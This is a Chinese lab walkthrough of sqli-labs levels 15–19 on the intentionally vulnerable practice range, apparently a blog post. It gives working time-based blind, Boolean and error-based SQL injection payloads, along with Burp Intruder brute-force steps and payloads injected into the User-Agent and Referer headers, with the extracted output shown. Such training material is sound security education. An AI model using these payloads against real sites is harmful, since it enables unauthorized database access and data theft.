★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
接上文:SQL注入【sqli靶场第11-14关】(三)
POST - Blind-Boolian/time Based-Single quotes
使用时间盲注验证
# 输入内容
'and+if('a'='a',sleep(1),sleep(5))--+
# 输入内容
'and+if(length(database())=5,1,0)--+
在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Cluster bomb,参数设置看截图说明。
从爆破结果得到数据库长度是8
# 输入内容
'and+if(substr(database(),1,1)='a',1,0)--+
爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
POST - Blind-Boolian/time Based-Double quotes
使用时间盲注验证
# 输入内容
")and+if(1=1,sleep(1),sleep(5))--+
由于Less-16注入语句和Less-15区别就在前面的引号,Less-15前面是单引号'
,Less-16前面是双引号+括号")
下面两个步骤我只给出验证通过的注入SQL,操作步骤参考5.2。
# 输入内容
")and+if(length(database())=5,1,0)--+
# 输入内容
")and+if(substr(database(),1,1)='a',1,0)--+
POST - Update Query- Error Based - string
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin3'' at line 1br>
根据报错函数获取到数据库名,登录名,注意是在密码后拼接
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输出内容
XPATH syntax error: '~security~'
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
# 输出内容
XPATH syntax error: '~root@localhost~'
POST -Header Injection - Uagent field - Error based
删除原来User-Agent的信息输入SQL注入语句获取到数据库和账号
# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
POST - Header lnjection - Referer field - Error based
删除原来Referer的信息输入SQL注入语句获取到数据库和账号
# 输入内容--数据库名
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输入内容--登录名
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
下期继续分享:SQL注入【sqli靶场第20-22关和dnslog外带】(五),敬请关注我的公众号:大象只为你,持续更新中…